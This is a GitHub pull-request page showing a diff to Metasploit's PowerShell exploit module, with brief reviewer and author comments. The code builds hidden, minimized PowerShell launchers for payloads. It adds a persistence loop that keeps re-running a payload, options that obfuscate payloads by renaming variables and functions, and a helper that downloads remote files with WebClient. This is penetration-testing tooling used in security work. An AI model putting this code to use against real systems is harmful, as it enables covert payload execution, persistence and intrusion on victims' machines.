Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Powershell import #2075

Closed
wants to merge 19 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
181 changes: 97 additions & 84 deletions lib/msf/core/exploit/powershell.rb
Original file line number Diff line number Diff line change
@@ -1,23 +1,37 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/exploitation/powershell'

module Msf
module Exploit::Powershell

class PshScript < Rex::Exploitation::Powershell::Script
end

def initialize(info = {})
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
register_advanced_options(
[
OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('PSH::RUN_WOW64', [
false,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
], self.class)
end

#
# Reads script into a PshScript
#
def read_script(script)
return PshScript.new(script)
end

#
# Insert substitutions into the powershell script
#
Expand All @@ -29,10 +43,10 @@ def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
# if datastore['VERBOSE']
# print_good("Final Script: ")
# script.each_line {|l| print_status("\t#{l}")}
# end
return script
end

Expand All @@ -49,63 +63,18 @@ def process_subs(subs)
end

#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end

# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end


#
# Return a zlib compressed powershell script
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def compress_script(script_in, eof = nil)

# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)

# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)

# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"

# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)

# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)

return encoded_expression
# Build script object
psh = PshScript.new(script_in)
# Invoke enabled modifiers
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will this work with the renaming of the functions?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, i run with sub_vars and sub_funcs all the time. This was written before the recent commits adding unique random var generation, so handles that in the psh Rex lib. If you're seeing bugs in testing, would love to reproduce and fix in the Rex layer.

mod_method = k.split('::').last.intern
psh.send(mod_method)
end
return psh.compress_code(eof)
end

#
Expand All @@ -125,54 +94,98 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
$p = [System.Diagnostics.Process]::Start($si)
EOS

return ps_wrapper
return ps_wrapper.gsub("\n",';')
end

#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
if datastore['PERSIST']
if datastore['PSH::PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is the '1' required at the end?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This was a while back, but if i remember correctly, i did this because lack of a handler to catch the payload returns 0, so the persistence would not work unless each payload was caught.
I think you may have caught me on a dirty hack here. :)

end
# Determine appropriate architecture
# Determine appropriate architecture, manual method reduces script size
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
end


#
# Convert binary to byte array, read from file if able
# Useful method cache
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
module PshMethods

#
# Convert binary to byte array, read from file if able
#
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end

return psh << lines.join("") + "\r\n"
end

#
# Download file to host via PSH
#
def self.download(src,target=nil)
target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
end
psh << lines.join("") + "\r\n"
end

#
# Uninstall app
#
def self.uninstall(app,fuzzy=true)
match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end

#
# Create secure string from plaintext
#
def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
end

#
# MISC
#

#
# Find PID of file locker
#
def self.who_locked_file?(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end


def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end

Loading